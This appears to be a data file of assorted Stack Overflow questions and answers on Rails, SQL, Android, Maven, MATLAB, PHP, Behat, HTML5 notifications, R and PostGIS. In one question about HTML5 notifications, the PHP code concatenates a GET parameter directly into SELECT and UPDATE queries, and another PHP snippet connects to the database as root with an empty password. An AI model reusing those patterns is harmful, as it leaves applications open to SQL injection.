3216285	0	Ruby on Rails: How do I specify which method a form_tag points to? <p>I have this:</p> <pre><code>&lt;% form_tag :controller =&gt; :proposals, :method =&gt; :bulk_action do %&gt; </code></pre> <p>but it errors in the create method... which is weird because I'm trying to tell stuff to delete.</p>
31237587	0	 <p>This is because you're using a <code>DISTINCT</code> in your <code>SELECT</code> query. If you look at the execution plan, you can see <code>DISTINCT SORT</code> operation. This sorts your result based on the <code>DISTINCT</code> columns you specify, in this case it's <code>Name</code>:</p> <p><img src="https://i.stack.imgur.com/0zHNV.png" alt="enter image description here"></p> <p>To retain the order, you can try this:</p> <pre><code>set @var = stuff(( select ',' + name from( select name, drn, rn = row_number() over(partition by name order by drn) from temp )t where rn = 1 order by drn for xml path('')), 1,1,'') </code></pre>
5239230	0	 <p>You could try setting a repeat count on your Animation to imagecount-1, then adding an AnimationListener to your animation that changes the background image of the ImageView on every repeat and on start.</p> <p>Here's a simple example that uses RoboGuice (which makes the code cleaner but doesn't make any difference for the purposes of your question): <a href="https://github.com/bostonandroid/batgirl/blob/master/src/org/roboguice/batgirl/Batgirl.java" rel="nofollow">https://github.com/bostonandroid/batgirl/blob/master/src/org/roboguice/batgirl/Batgirl.java</a></p> <pre><code>public class Batgirl extends RoboActivity { // Views @InjectView(R.id.content) LinearLayout linearLayout; // Resources @InjectResource(R.anim.spin) Animation spin; @InjectResource(R.integer.max_punches) int MAX_PUNCHES; // Other Injections @Inject ChangeTextAnimationListener changeTextAnimationListener; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); // Set up the animation linearLayout.setAnimation(spin); spin.setAnimationListener(changeTextAnimationListener); spin.setRepeatCount(MAX_PUNCHES - 1); spin.start(); } } /** * A simple animation listener that swaps out the text between repeats. */ class ChangeTextAnimationListener implements AnimationListener { @InjectView(R.id.hello) TextView helloView; @Inject Fist fist; @Inject PackageInfo info; public void onAnimationRepeat(Animation animation) { onAnimationStart(animation); } public void onAnimationStart(Animation animation) { helloView.setText( getNextTextString() ); // getNextTextString() not shown in this example } public void onAnimationEnd(Animation animation) { } } </code></pre>
18603273	0	NodeJS Code Coverage of Automated Tests <p>As part of a custom testing framework for a NodeJS REST API, I'd like to automatically detect when my tests are no longer providing proper coverage by comparing all <em>possible</em> outcomes with what the test suite received. </p> <p>What methods exist for doing this? We can assume that it's being used for a REST API with a list of entry functions (API endpoints) that need coverage analysis, and each entry function will end with a known 'exit function' that responds to the requester in a standard way. </p> <p>Here's what I've found so far:</p> <p><strong>1: Basic solution (Currently implemented)</strong></p> <ul> <li>When writing each REST endpoint, manually create a list of all the possible outcome 'codes' [Success, FailureDueToX, FailureDueToY] for example</li> <li>After the tests have run, ensure every code in the list has been seen by the test suite for each endpoint. </li> </ul> <p><em><strong>Pros:</strong></em> Very basic and easy to use; Doesn't change performance testing times</p> <p><em><strong>Cons:</strong></em> Highly prone to error with lots of manual checking; Doesn't flag any issues if there are 5 ways to 'FailDueToX' and you only test 1 of them. Very basic definition of 'coverage'</p> <p><strong>2: Static analysis</strong></p> <ul> <li>Parse the code into some sort of parse tree and look for all the instances of the 'exit function'</li> <li>Traverse up the tree until an API Endpoint is reached, and add that exit instance to the endpoint as an expected output (needs to keep a record of the stack trace to get there via a hash or similar)</li> <li>When tests are run, the endpoints return the stack trace hash or similar and this is compared to the expected output list.</li> </ul> <p><em><strong>Pros:</strong></em> Automatic; Catches the different branches that may result in the same output code</p> <p><em><strong>Cons:</strong></em> Generating the parse tree is non trivial; Doesn't detect dead code that never gets run; test suite needs to be kept in sync</p> <p><strong>3: Profiling</strong></p> <p>I've done this in the past on Embedded Systems with <a href="http://www.ghs.com/products/safety_critical/gcover.html" rel="nofollow">GreenHills Code Coverage Tools</a></p> <ul> <li>Start up a profiler like <a href="http://blog.nodejs.org/2012/04/25/profiling-node-js/" rel="nofollow">dtrace</a> and record the stack log for each test separately</li> <li>Parse the stack log and assign the 'test' to each line of code</li> <li>Manually analyse the code-with-annotations to find gaps.</li> </ul> <p><em><strong>Pros:</strong></em> Semi Automatic; Gives more information about total coverage to a developer; Can see </p> <p><em><strong>Cons:</strong></em> Slows down the tests; Unable to do performance testing in parallel; Doesn't flag when a possible outcome is never made to happen. </p> <p>What else is there, and what tools can help me with my Static Analysis and Profiling goals? </p>
21052915	0	 <p>You can specify the mime type and content encoding explicitly, e.g.</p> <pre><code>d3.dsv(fieldSeparator, "text/plain; charset=ISO-8859-1"); </code></pre>
39745238	0	 <p>Using java 8 shouldn't give this problem but it did for me</p> <p>I created my jar initially from Eclipse Export -> Runnable Jar and it was fine. When I moved to Maven it failed with the above. </p> <p>Comparing the two jars showed that nothing fx related was packaged with the jar (as I'd expect) but that the Eclipse generated manifest had <code>Class-Path: .</code> in it. Getting maven to package the jar with the following worked for me (with Java 8)</p> <pre><code> &lt;build&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-jar-plugin&lt;/artifactId&gt; &lt;configuration&gt; &lt;archive&gt; &lt;manifest&gt; &lt;addClasspath&gt;true&lt;/addClasspath&gt; &lt;mainClass&gt;com.pg.fxapplication.Main&lt;/mainClass&gt; &lt;/manifest&gt; &lt;manifestEntries&gt; &lt;Class-Path&gt;.&lt;/Class-Path&gt; &lt;/manifestEntries&gt; &lt;/archive&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;/build&gt; </code></pre>
32066755	0	 <p>Try to install <em>libmozjs</em>, then (don't forget to do a <em>sudo ldconfig</em> first) compile from the source elinks.</p> <pre><code>wget http://elinks.or.cz/download/elinks-current-0.13.tar.bz2 tar xjvf elinks-current-0.13.tar.bz2 cd elinks-0.13* ./configure make -j8 sudo make install </code></pre> <p>Check after ./configure if <em>ECMAScript</em> is flagged <em>SpiderMonkey document scripting</em>.</p> <p>p.s. Ubuntu 14.04 here.</p>
25411435	0	 <p>You can also specify your insert using and update like syntax which some find more readable.</p> <pre><code>INSERT INTO customers SET field1 = value1 , field2 = value2 , field3 = value3 </code></pre> <p>et cetera...</p>
35866624	0	openweathermap API issue with mobile app <p>I am using openweathermap API in my iOS app.</p> <p>Below is my URL which i am call for get whether info.</p> <p><a href="http://api.openweathermap.org/data/2.5/weather?lat=21.282778&amp;lon=-157.829444&amp;APPID=MYAPPID&amp;lang=en-US" rel="nofollow">http://api.openweathermap.org/data/2.5/weather?lat=21.282778&amp;lon=-157.829444&amp;APPID=MYAPPID&amp;lang=en-US</a></p> <p>While open this url in browser i got response properly.</p> <p>But when i call Web-service from my iOS app i do not get response. I get below error :</p> <pre><code>{ cod = 401; message = "Invalid API key. Please see http://openweathermap.org/faq#error401 for more info."; } </code></pre> <p>I had created API key from this URL : <a href="http://home.openweathermap.org/" rel="nofollow">Create API key on Open Wheather</a></p>
30672928	0	MATLAB error in ode45: must return a column vector <p>I am getting this error in my code: </p> <ul> <li><strong>Error using odearguments (line 91) @(T,C)(C1.*((V1.<em>P_OPEN)+V2).</em>(CA_ER-C))-((V3.*(C.^2))/(C.^2+(K3^2))) must return a column vector.</strong></li> </ul> <p>But in the MATLAB documentation there is an example <a href="http://mathworks.com/help/matlab/ref/ode45.html?s_tid=srchtitle#zmw57dd0e475194" rel="nofollow">Example 3</a> where the vectors are given as input but it works just fine. Why is that I get an error in my code?<br> This is my code: </p> <pre><code>Ca_ER = 10e-6; c0 = 2e-6; c1 = .185; v1 = 6; v2 = .11; v3 = .09e6; v4 = 1.2; k3 = .1e-6; a1 = 400e6; a2 = 0.2e6; a3 = 400e6; a4 = 0.2e6; a5 = 20e6; b2 = .21; d1 = 0.13e-6; d2 = b2/a2; d3 = 943.4e-9; d4 = d1*d2/d3; d5 = 82.34e-9; IP= .5e-6; Ca=.001e-6:.01e-6:1e-6; num=Ca.*IP.*d2; deno= (Ca.*IP+ IP*d2+d1*d2+Ca.*d3).*(Ca+d5); p_open=( num./deno).^3; %this is the vector input dc=@(t,c) (c1.*((v1.*p_open)+v2).*(Ca_ER-c))-((v3.*(c.^2))/(c.^2+(k3^2))); [t,c]=ode45(dc,linspace(0, 100, 1000),.19e-6); plot(t,c); </code></pre>
19899982	0	 <p>Apple doesn't offer support for that, but one workaround could be to use a category for UIImage with a method that loads the right version based on the OS version:</p> <pre><code>+(UIImage)imageNamed2:(NSString *)imageName{ NSString *finalImageName; if([[UIDevice currentDevice].systemVersion floatValue] &gt;= 7){ finalImageName = [NSString stringWithFormat:@"ios7-%@",imageName]; }else{ finalImageName = imageName; } return [self imageNamed:finalImageName]; } </code></pre> <p>This way, the images would be named:</p> <pre><code>example.png example@2x.png ios7-example@2x.png </code></pre> <p>And you can instantiate the image this way:</p> <pre><code>[UIImage imageNamed2:@"example.png"]; </code></pre> <p>Hope this helps</p>
5122806	0	ColdFusion Calendar - How can I find day from days in month? <p>Here's my code. I got it from a tutorial online.</p> <pre><code>&lt;CFPARAM NAME = "month" DEFAULT = "#DatePart('m', Now())#" /&gt; &lt;CFPARAM NAME = "year" DEFAULT = "#DatePart('yyyy', Now())#" /&gt; &lt;CFPARAM NAME = "currentday" DEFAULT = "#DatePart('d', Now())#" /&gt; &lt;CFPARAM NAME = "startmonth" DEFAULT = "#DatePart('m', Now())#" /&gt; &lt;CFPARAM NAME = "startyear" DEFAULT = "#DatePart('yyyy', Now())#" /&gt; &lt;cfset ThisMonthYear = CreateDate(year, month, '1') /&gt; &lt;cfset Days = DaysInMonth(ThisMonthYear) /&gt; &lt;cfset LastMonthYear = DateAdd('m', -1, ThisMonthYear) /&gt; &lt;cfset LastMonth = DatePart('m', LastMonthYear) /&gt; &lt;cfset LastYear = DatePart('yyyy', LastMonthYear) /&gt; &lt;cfset NextMonthYear = DateAdd('m', 1, ThisMonthYear) /&gt; &lt;cfset NextMonth = DatePart('m', NextMonthYear) /&gt; &lt;cfset NextYear = DatePart('yyyy', NextMonthYear) /&gt; </code></pre> <p>and here is my output code.</p> <pre><code>&lt;a href="calendar_day.cfm?month=#month#&amp;day=#THE_DAY#&amp;year=#year#"&gt; </code></pre> <p>I'm using this for a visible calendar, and want to be able to select the day from all days in the month. Is there any way to determine the day of the month when clicking on the day in the monthly calendar view?</p>
29602315	0	if(isset($_POST['submit'])){ } NOT WORKING on submit button <p>I have a problem where when ever I load my page it says that the form is done even when I don't press submit here is the code - </p> <pre><code>&lt;?php $db_host = 'localhost'; $db_name = 'info';enter code here $db_user = 'root'; $db_password = ''; try { $db = new PDO('mysql:host=' . $db_host . ';dbname=' . $db_name, $db_user, $db_password); echo "connected&lt;br&gt;&lt;br&gt;"; } catch (PDOException $e) { echo "Error: " . $e-&gt;getMessage(); die(); } if(isset($_POST['submit'])){ $name = $_POST['name']; $phone = $_POST['phone']; $email = $_POST['email']; $info = $_POST['info']; $date = $_POST['date']; $sql = "INSERT INTO info (name, phone, email, info, date)"; $sql .= " VALUES (:name, :phone, :email, :info, :date)"; $query = $db-&gt;prepare($sql); $query-&gt;execute(array( ':name' =&gt; $name, ':phone' =&gt; $phone, ':email' =&gt; $email, ':info' =&gt; $info, ':date' =&gt; $date )); echo "done&lt;br&gt;"; } ?&gt; </code></pre>
16182300	0	SCP error: Bad configuration option: PermitLocalCommand <p>When I execute this command below:</p> <pre><code>scp -P 36000 hdfs@192.168.0.114:~/tmp.txt SOQ_log.txt </code></pre> <p>I get an error:</p> <pre><code>command-line: line 0: Bad configuration option: PermitLocalCommand </code></pre> <p>Does anyone know why?</p>
12891500	0	asp.net website builds fine but publish gives error <p>I am working on asp.net website using ablecommerce asp.net CMS. I am trying to build the website and it works. but when I try to publish the website locally to deploy it on IIS, I start getting errors that this page is not available etc. I see that the page not found errors are actually located in some dll and reference is added.</p> <p>Errors are like this:</p> <pre><code>Error 5 The type or namespace name 'admin_orders_create_creditcardpaymentform_ascx' does not exist in the namespace 'ASP' (are you missing an assembly reference?) \Final Code\WebSite\Admin\Orders\Create\CreateOrder4.aspx.cs </code></pre> <p>Regards, Asif Hameed</p>
4881076	0	 <p>Have you tried creating an XmlWriter with the encoding set to latin-1 and then saving the XDocument using it? I haven't tried it, but it might coerce it to use unnecessary character entities.</p> <p>And what kind of horrible software are you using if it doesn't even support Unicode?</p>
3784092	0	 <p>The argument passed to <code>mysql_insert_id</code> is the resource of a database connection. You're feeding it the result of a MySQL query. Just <code>mysql_insert_id()</code> by itself <em>should</em> work unless you're opening multiple database connections. </p> <p><a href="http://us3.php.net/mysql_insert_id">http://us3.php.net/mysql_insert_id</a></p>
9119303	0	 <p>Not exactly what you were asking for but as a Java programmer that spent some time with <a href="http://www.scala.org/" rel="nofollow">Scala</a> I've liked <a href="http://code.google.com/p/guava-libraries/" rel="nofollow">Google Guava</a> implementation of <a href="http://guava-libraries.googlecode.com/svn/trunk/javadoc/com/google/common/base/Optional.html" rel="nofollow">Optional</a> idiom.<br> <a href="http://mail.openjdk.java.net/pipermail/coin-dev/2009-March/000047.html" rel="nofollow">Elvis and Safe Operator Proposal</a> didn't make it into Java 7, maybe for 8. <a href="http://stackoverflow.com/questions/271526/how-to-avoid-null-statements-in-java">This stackoverflow topic</a> may be a interesting read too. </p>
25642524	0	Behat base_url issue or sqlite database <p>I access my page at <a href="http://web.dev/web/app_behat.php" rel="nofollow">http://web.dev/web/app_behat.php</a> and it works when I do it manually in browser.</p> <p>So I set</p> <pre><code>base_url: "http://web.dev/web/app_behat.php/" </code></pre> <p>and I get no route matched for any route but if i set</p> <pre><code>base_url: "http://web.dev/app_behat.php/" </code></pre> <p>route seems to be matched but i get missing table error, i have set up <a href="https://github.com/Behat/CommonContexts#example-using-symfonydoctrinecontext-to-reset-doctrine" rel="nofollow">SymfonyDoctrineContext</a> to take care of schema creation.</p> <p>Full behat.yml:</p> <pre><code>default: formatter: name: progress context: class: FootballRadar\Features\Context\FeatureContext extensions: Behat\Symfony2Extension\Extension: mink_driver: true kernel: env: test debug: true Behat\MinkExtension\Extension: base_url: "http://web.dev/app_behat.php/" default_session: symfony2 show_cmd: 'open -a "Google Chrome" %s' </code></pre> <p>EDIT:</p> <p>My config_behat.yml:</p> <pre><code>imports: - { resource: "config_dev.yml" } assetic: debug: true use_controller: enabled: true profiler: false framework: test: ~ session: storage_id: session.storage.mock_file profiler: collect: false web_profiler: toolbar: false intercept_redirects: false swiftmailer: disable_delivery: true doctrine: dbal: connections: default: driver: pdo_sqlite user: behat path: %kernel.root_dir%/behat/default.db.cache charset: utf8 model: driver: pdo_sqlite user: behat path: %kernel.root_dir%/behat/model.db.cache charset: utf8 monolog: handlers: test: type: test </code></pre> <p>Seems that all of You misunderstood my question and/or completely ignored my first sentence.</p> <p>I have a working application and I access it using </p> <p><a href="http://web.dev/web/" rel="nofollow">http://web.dev/web/</a> (<a href="http://web.dev/web/app.php/" rel="nofollow">http://web.dev/web/app.php/</a>) &lt;-- for prod</p> <p><a href="http://web.dev/web/app_dev.php/" rel="nofollow">http://web.dev/web/app_dev.php/</a> &lt;-- for dev</p> <p><a href="http://web.dev/web/app_behat.php/" rel="nofollow">http://web.dev/web/app_behat.php/</a> &lt;-- for behat</p> <p>all of them work as when i use them manually in chrome or other browser</p> <p>That is why I am surprised why <code>http://web.dev/web/app_behat.php/</code> gives me</p> <pre><code>No route found for "GET /web/app_behat.php/login" </code></pre> <p>and</p> <p><code>http://web.dev/app_behat.php/</code> gives</p> <pre><code>SQLSTATE[HY000]: General error: 1 no such table: users_new </code></pre> <p>With little debugging I confirmed <code>SymfonyDoctrineContext</code> does read my entities mappings and issues queries to create db schema, both db files have read/write permissions (for sake of test I gave them 777)</p> <p>Another thing I just realised, all this errors gets written to <code>test.log</code> file instead of <code>behat.log</code>. I create kernel with <code>$kernel = new AppKernel('behat', true);</code></p> <p>Maybe I just greatly misunderstood how behat is supposed to work?</p> <p>EDIT2:</p> <p>I have noticed that there are no entries made to apache access log when running behat feature for either of the paths</p> <p>versions i'm using from composer.json</p> <pre><code> "behat/behat": "2.5.*@dev", "behat/common-contexts": "1.2.*@dev", "behat/mink-extension": "*", "behat/mink-browserkit-driver": "*", "behat/mink-selenium2-driver": "*", "behat/symfony2-extension": "*", </code></pre>
32783381	0	 <p>Assuming you still can get the node by id, you can check if the Name property is null</p> <pre><code>string.IsNullOrEmpty(node.Name) </code></pre> <p>It's not pretty but should work</p>
5696783	0	 <p>Martin's remark is saying that only directly self-recursive calls are candidates (other criteria being met) for the TCO optimization. Indirect, mutually recursive method pairs (or larger sets of recursive methods) cannot be so optimized.</p>
37967422	0	Tab is out of focus on clicking outside <p>I have a webpage with four tabs. It is working fine except when I click outside the div,containing the tabs and its contents, the focus on the active tab is lost which is not desired.</p> <p><strong>Code</strong></p> <pre><code>&lt;body&gt; &lt;img src="images/2.png" style="width: 950px; height: 60px;"&gt; &lt;div style="margin-top: -50px; margin-left: 5px; position: absolute; font-size: 32px; color: green;"&gt;Test &lt;/div&gt; &lt;div style="width: 69px; height: 57px; margin-left: 951px; margin-top: -58px;"&gt; &lt;a href="#" title="Logout"&gt;&lt;img src="images/logout.png" style="width: 78px; height: 73px;"&gt;&lt;/a&gt; &lt;/div&gt; &lt;div style="margin-top: 100px;"&gt; &lt;ul id="tabs" class="tab"&gt; &lt;li&gt;&lt;a id="load" href="#" class="tablinks" onclick="openTab(event, 'Reference')"&gt;Reference&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#" class="tablinks" onclick="openTab(event, 'TestStrategy')"&gt;Test Strategy&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#" class="tablinks" onclick="openTab(event, 'TestCase')"&gt;Test Case&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#" class="tablinks" onclick="openTab(event, 'TestSummary')"&gt;Test Summary&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;img src="images/line.png" style="margin-top: -14px; margin-left: 6px; width: 700px; height: 4px; position: absolute;"&gt; &lt;div id="Reference" class="tabcontent"&gt; &lt;p&gt;Document_1.docx&lt;/p&gt; &lt;hr align="left"&gt; &lt;p&gt;Document_2.docx&lt;/p&gt; &lt;hr align="left"&gt; &lt;p&gt;Document_3.docx&lt;/p&gt; &lt;hr align="left"&gt; &lt;/div&gt; &lt;div id="TestStrategy" class="tabcontent"&gt; &lt;p&gt;TS_1.docx&lt;/p&gt; &lt;hr align="left"&gt; &lt;p&gt;TS_2.docx&lt;/p&gt; &lt;hr align="left"&gt; &lt;/div&gt; &lt;div id="TestCase" class="tabcontent"&gt; &lt;p&gt;TC_1.xlsx&lt;/p&gt; &lt;hr align="left"&gt; &lt;p&gt;TC_2.xlsx&lt;/p&gt; &lt;hr align="left"&gt; &lt;p&gt;TC_3.xlsx&lt;/p&gt; &lt;hr align="left"&gt; &lt;p&gt;TC_4.xlsx&lt;/p&gt; &lt;hr align="left"&gt; &lt;p&gt;TC_5.xlsx&lt;/p&gt; &lt;hr align="left"&gt; &lt;/div&gt; &lt;div id="TestSummary" class="tabcontent"&gt; &lt;p&gt;Summary_1.docx&lt;/p&gt; &lt;hr align="left"&gt; &lt;p&gt;Summary_2.pdf&lt;/p&gt; &lt;hr align="left"&gt; &lt;p&gt;Summary_3.ppt&lt;/p&gt; &lt;hr align="left"&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; </code></pre> <p>Here is a <a href="http://jsfiddle.net/heh9ptvy/" rel="nofollow">fiddle</a>.</p> <p>How to resolve this?</p>
28861046	0	 <ol> <li><p>You're using the GET method, which gets an app link url that was already created using the API, but will not create new ones.</p></li> <li><p>You can't create them from mobile devices since they require an app access token (not a user access token). If you look at the "Publishing" section of the documentation, you'll see that there's no Android or iOS code snippets.</p></li> <li><p>For detailed instructions on how to create an app link hosting url (from the command line, or server side), follow the steps here: <a href="https://developers.facebook.com/docs/applinks/hosting-api" rel="nofollow">https://developers.facebook.com/docs/applinks/hosting-api</a></p></li> </ol>
8683811	0	How does one get the number of rows in an SQL database?(Android SDK) <p>I looked for this on SO and saw this(and others like it): <a href="http://stackoverflow.com/questions/3408669/sql-direct-way-to-get-number-of-rows-in-table">sql direct way to get number of rows in table</a>, however, Select is shown as a token as is count. I tried to use mDb.execSQL() but that only returns void. Any help on how to do this would be appreciated. The code is:<br> public int getRowNumber(){ return mDb.execSQL("SELECT COUNT(*) FROM notes");} I get an error that says "cannot return void result". </p>
3014157	0	 <p>Rox suggested WordPress. I would second that. You don't need your own domain to start a Wordpress blog. Just go to wordpress.com and sign up. You will probably get an address like wordpress.com/. The advantage would be that when you get your own domain, you probably can export all your content and import it in your own wordpress installation on that domain.</p>
28986657	0	 <p>Restlet uses JDK's logging API that you can bridge to log4j.</p> <p>Your own classes can use the SLF4J API, if you prefer (I prefer the logj4 API though), which also can bridge to log4j.</p> <p>You'll need two bridges in the runtime classpath: log4j-jul e log4j-slf4j-impl.</p> <p>In Maven, do:</p> <pre><code>&lt;dependency&gt; &lt;groupId&gt;org.apache.logging.log4j&lt;/groupId&gt; &lt;artifactId&gt;log4j-jul&lt;/artifactId&gt; &lt;version&gt;2.2&lt;/version&gt; &lt;scope&gt;runtime&lt;/scope&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.apache.logging.log4j&lt;/groupId&gt; &lt;artifactId&gt;log4j-slf4j-impl&lt;/artifactId&gt; &lt;version&gt;2.2&lt;/version&gt; &lt;scope&gt;runtime&lt;/scope&gt; &lt;/dependency&gt; </code></pre> <p>That way, you can configure both using Log4j.</p>
19787198	1	Logging in web2py <p>I'm working on a web application that handles a bit of traffic. I tried using FileHandler, set up when handling each request, for logging but that resulted in wsgi crashing from too many open files, current limit is 1024 which seems reasonable.</p> <p>How do people handle logging when dealing with a bit of traffic? Is there a way for the wsgi process to use one filehandle for all requests?</p>
40384521	0	R: replace values in a vector before and after a condition is met <p>Consider a vector with missing values:</p> <pre><code>myvec &lt;- c('C', NA, 'test', NA, 'D') [1] "C" NA "test" NA "D" </code></pre> <p>How to replace all the elements in the vector before 'test' with, say, 'good' and after it with 'bad'? The outcome should be:</p> <pre><code>[1] "good" "good" "test" "bad" "bad" </code></pre> <p>My attempt below succeeds only in replacing everything with 'good', which is not so good:</p> <pre><code>replace(myvec, is.na(myvec) | myvec!='test', 'good') [1] "good" "good" "test" "good" "good" </code></pre>
34526156	0	HTML5 Notification With PHP <p>I noticed Facebook started using the HTML5 notification for desktop and I thought I would start dabbling in it for fun for my blog. My idea is pretty simple: new blog comes out, apache cronjob runs every X minutes and calls a file, does some PHP wizardry and out goes the notification. </p> <p>I have looked online and found examples using <a href="https://codeforgeek.com/2014/10/desktop-notification-like-facebook-using-html5/">node.js and angular</a>, but I'm not comfortable using either of those so I'd rather stick with PHP. </p> <p>Here is my process: The user goes to my blog and will click a button to allow notifications. For brevity, the below code sends the users a notification when they click the "notify" button. This works perfectly, and in theory should subscribe them to any future notifications. </p> <pre><code>if ('Notification' in window) { function notifyUser() { var title = 'example title'; var options = { body: 'example body', icon: 'example icon' }; if (Notification.permission === "granted") { var notification = new Notification(title, options); } else if (Notification.permission !== 'denied') { Notification.requestPermission(function (permission) { if (permission === "granted") { var notification = new Notification(title, options); } }); } } $('#notify').click(function() { notifyUser(); return false; }); } else { //not happening } </code></pre> <p>You can see the <a href="https://jsfiddle.net/qdb1d414/">fiddle</a> of the above. </p> <p>Access to the user is granted and now I should be able to send them notifications whenever I want. Awesome! I then write up a blog entry and it has the ID of XYZ. My cronjob goes and calls the following PHP script, using the above node.js example as a template.</p> <p>(In this example I am just calling the script manually from my phone and watching my desktop screen. Since my desktop is "subscribed" to the same domain, I think the following would/should work.)</p> <pre><code>$num = $_GET['num']; $db = mysql_connect(DB_HOST, DB_USER, DB_PASS); if($db) { mysql_select_db('mydb', $db); $select = "SELECT alert FROM blog WHERE id = ".$num." &amp;&amp; alert = 0 LIMIT 1"; $results = mysql_query($select) or die(mysql_error()); $output = ''; while($row = mysql_fetch_object($results)) { $output .= "&lt;script&gt; var title = 'new blog!'; var options = { body: 'come read my new blog!', icon: 'same icon as before or maybe a new one!' }; var notification = new Notification(title, options); &lt;/script&gt;"; $update = "UPDATE blog SET alert = 1 WHERE id = ".$num." &amp;&amp; alert = 0 LIMIT 1"; mysql_query($update) or die(mysql_error()); } echo $output; } </code></pre> <p>I then check the database and blog entry XYZ's "alert" is now set to "1", yet my desktop browser never got notified. Since my browser is subscribed to the same URL that is pushing out the notification, I would imagine I'd get a message. </p> <p>Either I'm doing something wrong (perhaps PHP isn't the right language for this?), or I'm misunderstanding the spec. Could somebody help point me in the right direction? I think I'm missing something. </p> <p>Thanks a lot. </p> <p><strong>Update 1</strong></p> <p>According to the comments, if I just call a script with this in it:</p> <pre><code> var title = 'new blog!'; var options = { body: 'come read my new blog!', icon: 'same icon as before or maybe a new one!' }; var notification = new Notification(title, options); </code></pre> <p>It should hit all devices that are subscribed to my notifications. I tried this on my phone but my desktop still didn't get a notification. I still think I'm missing something as my notifications seem stuck to one device and can only be called on page-load or on click as opposed to Facebook which sends you notifications even if the page isn't open in your browser. </p>
15442310	0	 <p>Try this:</p> <pre><code>Select area, PARSENAME(userip,4) + '.' + PARSENAME(userip,3) UserIp, COUNT(*) from mytable group by area, PARSENAME(userip,4) + '.' + PARSENAME(userip,3) </code></pre> <p><a href="http://sqlfiddle.com/#!3/06d2f/1" rel="nofollow">SQL DEMO</a></p>
36420714	0	 <p>I had the same issue and I used command line in order to import the SQL file. This method has 3 advantages:</p> <ol> <li>It is a very easy way by running only 1 command line</li> <li>It runs way faster</li> <li>It does not have limitation</li> </ol> <p>If you want to do this just follow this 3 steps:</p> <ol> <li><p>Navigate to this path (i use wamp):</p> <p>C:\wamp\bin\mysql\mysql5.6.17\bin></p></li> <li><p>Copy your sql file inside this path (ex file.sql)</p></li> <li><p>Run this command: </p> <p>mysql -u username -p database_name &lt; file.sql</p></li> </ol> <p><sup>Note: if you already have your msql enviroment variable path set, you don't need to move your file.sql in the bin directory and you should only navigate to the path of the file.</sup></p>
8084077	0	 <p>The literal-object syntax cannot be used for non-literal keys. To use a non-literal key with an object requires the <code>object[keyExpression]</code> notation, as below. (This is equivalent to <code>object.key</code> when <code>keyExpression = "key"</code>, but note the former case takes an <em>expression</em> as the key and the latter an identifier.)</p> <pre><code>var output = [] $('.grab').each(function(index) { var obj = {} obj[$(this).attr('name')] = $(this).val() output.push(obj) }) </code></pre> <p>Happy coding.</p> <hr> <p>Also, consider using <a href="http://api.jquery.com/map/"><code>.map()</code></a>:</p> <pre><code>var output = $('.grab').map(function() { var obj = {} obj[$(this).attr('name')] = $(this).val() return obj }) </code></pre>
10662650	0	Need help understanding this macro from ltp testsuite file tst_res.c <p>What does this macro do? I am not able to understand its definition:</p> <pre><code>#define PAIR(def) [def] = { .name = #def, .val = def, }, </code></pre> <p>From : ltp-full-20120401/lib/tst_res.c line 183</p> <p>You can get the source from this <a href="http://sourceforge.net/projects/ltp/files/LTP%20Source/ltp-20120401/ltp-full-20120401.bz2/download" rel="nofollow">link</a></p>
30541402	0	 <p>Being new to sails and jade i found the following link helpful. Turns out you need to go into config > views.js &amp; then change the "engine:" from saying 'ejs' to 'jade'</p> <p>After doing this you'll have to also install jade as a dependency:</p> <pre><code>npm install jade --save </code></pre> <p><a href="http://stackoverflow.com/questions/20473326/sails-cant-find-layout-jade">sails can&#39;t find layout.jade</a></p>
21302588	0	 <p>Documents directory will not be removed during an app update so your file will be there. However the app bundle will be replaced by the new bundle. But if your code copy the Plist from bundle to Document directory then it will be overwrite so you can put your logic for reading the data or updating the file!</p>
5224759	1	is python good for making games? <p>i hear people say python is just as good as c++ and java but i cant find many good games made in python. a few in pygames but not many</p> <p>just trying to choose the right language</p> <p>edit: sorry, many games really, i would love to make a roguelike, basically my dream. also an overhead rpg. nothing to complex, i dont want to reinvent the wheel but i would like to make a fun game. i have minor java experience, but like the looks of python. i dont plan on making a 3d game really.</p>
27743330	0	 <p>You can achieve this using Jackson JSON library: <a href="http://jackson.codehaus.org/" rel="nofollow">http://jackson.codehaus.org/</a></p> <p>One good tutorial which particularly addresses nested objects is here: <a href="http://www.mkyong.com/java/how-to-convert-java-object-to-from-json-jackson/" rel="nofollow">http://www.mkyong.com/java/how-to-convert-java-object-to-from-json-jackson/</a></p> <p>Apart from these, Google is your friend :)</p>
31688704	0	 <p>The <code>&lt;-&gt;</code> "distance between" operator applies to PostgreSQL geometric data types, not to the PostGIS <code>geography</code> data type. With the <code>geography</code> data type you can use the PostGIS function <code>ST_Distance()</code> and find the minimum value.</p> <pre><code>WITH this_cafe (latlng) AS ( SELECT latlng FROM cafes WHERE id = '3' ) SELECT cafes.*, ST_Distance(cafes.latlng, this_cafe.latlng, 'false') AS dist FROM cafes, this_cafe ORDER BY dist ASC LIMIT 1 </code></pre> <p>Note that the third argument <code>useSpheroid</code> to the function is set to <code>false</code> which will make the function much faster. It is unlikely going to affect the result because cafes tend to lie close to each other.</p> <p>This assumes that there is only 1 cafe with <code>id = 3</code>. If there could be more, then restrict the CTE to return just 1 row.</p>
